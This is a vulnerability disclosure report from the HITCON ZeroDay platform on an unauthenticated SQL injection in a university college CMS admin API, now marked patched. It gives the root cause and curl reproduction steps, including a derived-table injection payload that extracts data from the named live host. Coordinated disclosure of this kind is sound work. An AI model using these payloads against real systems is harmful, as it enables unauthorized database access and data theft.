輔仁大學 創新跨領域學院 CMS 後台未授權 SQL Injection(api-get.php) - HITCON ZeroDay

Vulnerability Detail Report

Vulnerability Overview

  • ZDID: ZD-2026-01123
  •  發信 Vendor: 輔仁大學學校財團法人輔仁大學
  • Title: 輔仁大學 創新跨領域學院 CMS 後台未授權 SQL Injection(api-get.php)
  • Introduction: 後台 /admin/module/api-get.php 在未登入狀態下可被直接呼叫,並對資料表/欄位名稱做 SQL 拼接,造成未授權資料庫讀取。

處理狀態

目前狀態

公開
Last Update : 2026/09/23
  • 新提交
  • 已審核
  • 已通報
  • 已修補
  • 未複測
  • 公開

處理歷程

  • 2026/09/03 09:04:53 : 新提交 (由 Ethan Yang 更新此狀態)
  • 2026/09/03 09:09:26 : 新提交 (由 Ethan Yang 更新此狀態)
  • 2026/09/08 16:01:21 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2026/09/14 18:52:10 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2026/09/14 18:52:10 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2026/09/14 18:52:10 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2026/09/15 08:48:56 : 已修補 (由 組織帳號 更新此狀態)
  • 2026/09/23 03:00:15 : 公開 (由 HITCON ZeroDay 平台自動更新)

詳細資料

  • ZDID:ZD-2026-01123
  • 通報者:yangminchun (Ethan Yang)
  • 風險:嚴重
  • 類型:資料庫注入攻擊 (SQL Injection)

參考資料

攻擊者可利用該漏洞取得後端資料庫權限及完整資料(包含大量使用者個資或敏感性資料),同時也有機會對資料進行破壞或修改。

漏洞說明: OWASP - SQL Injection
https://www.owasp.org/index.php/SQL_Injection

漏洞說明: OWASP - Top 10 - 2017 A1 - Injection
https://www.owasp.org/index.php/Top_10-2017_A1-Injection

漏洞說明: CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
https://cwe.mitre.org/data/definitions/89.html

防護方式: OWASP - SQL Injection Prevention Cheat Sheet
https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)

相關網址

https://cis.fju.edu.tw/admin/module/api-get.php

敘述

摘要

{輔仁大學}「創新跨領域學院」網站後台使用 1duan(壹端)CMS。
管理 API admin/module/api-get.php 僅以 authUser() 做存取控制,但未登入時該函式只輸出 JavaScript 導向、未 exit(),請求會繼續執行。
該端點將呼叫端提供的 tablename / field / params / order 直接拼進 SQL(僅 value 有綁定),結果以 JSON 回傳 → 未授權、非盲注、可直接匯出資料

本通報僅針對本站台;同源缺陷另見其他通報。測試採最小必要舉證,未讀取帳密/雜湊/個資
圖片

根因(程式)

共用函式 vendor/exlocus/function.php

function authUser($id,$rightlevel,$limitlevel=1,$url='../../index.php'){
    if($id==''){
        alertHref('',$url.'?msg=請先登入!');   // 只 echo JS,然後 return
    }else{
        if($rightlevel<$limitlevel){
            alertHref(...);
            exit();   // 只有權限不足才會真正中止
        }
    }
}

admin/module/api-get.php(概念):

$sql  = "SELECT $field FROM $tablename WHERE isdeleted=1";
$sql .= " AND $params=?";
$sql .= " ORDER BY $order";
$rs = $db->prepare($sql);
$rs->execute($params);
echo json_encode($rs->fetchAll(PDO::FETCH_ASSOC), JSON_UNESCAPED_UNICODE);

重現方式(無需登入)

步驟 A — 結構證明(空參數 → SQL 語法錯誤)

curl -sk "https://cis.fju.edu.tw/admin/module/api-get.php"

預期:回應含 PHP Warning(無 session)+ JS 導向,以及 SQLSTATE 1064(空的 FROM 造成語句畸形)→ 證明輸入被拼進 SQL。

步驟 B — 未授權執行(回傳 []

curl -sk "https://cis.fju.edu.tw/admin/module/api-get.php?tablename=adminuser&field=1&value=0"

預期:尾端 JSON []
語意:SELECT 1 FROM adminuser WHERE isdeleted=1 AND no=0 已執行,只是沒有符合列。瀏覽器會跟 JS 導向走;curl 不會。

步驟 C — 識別字注入(表不存在)

curl -sk "https://cis.fju.edu.tw/admin/module/api-get.php?tablename=zzz_no_such_table&field=1&value=0"

預期:1146 Table 'fju_cis.zzz_no_such_table' doesn't exist
→ 呼叫端字串被當成資料表識別字解析。

步驟 D — 實際匯出(公開安全:非敏感欄位)

以 derived table 放入 tablename,端點會 json_encode(fetchAll())

curl -sk 'https://cis.fju.edu.tw/admin/module/api-get.php' \
  --get \
  --data-urlencode 'tablename=(SELECT 1 AS isdeleted, title AS title FROM news_class LIMIT 0,1) x' \
  --data-urlencode 'field=*' \
  --data-urlencode 'params=isdeleted' \
  --data-urlencode 'value=1'

實測回傳(節錄):

[{"isdeleted":1,"title":"大學部"}]

sqlmap 說明

sqlmap 可偵測注入(boolean / EXTRACTVALUE),但因注入點在 SELECT 清單且經 PDO prepare(),MariaDB 對非常數 XPATH 會回 1105 Only constant XPATH queries are supported,故 sqlmap --dump 失敗不代表無法匯出。上列 derived-table 通道才是實務匯出路徑。

擷圖

留言討論

聯絡組織

 發送私人訊息
您也可以透過私人訊息的方式與組織聯繫,討論有關於這個漏洞的相關資訊。
;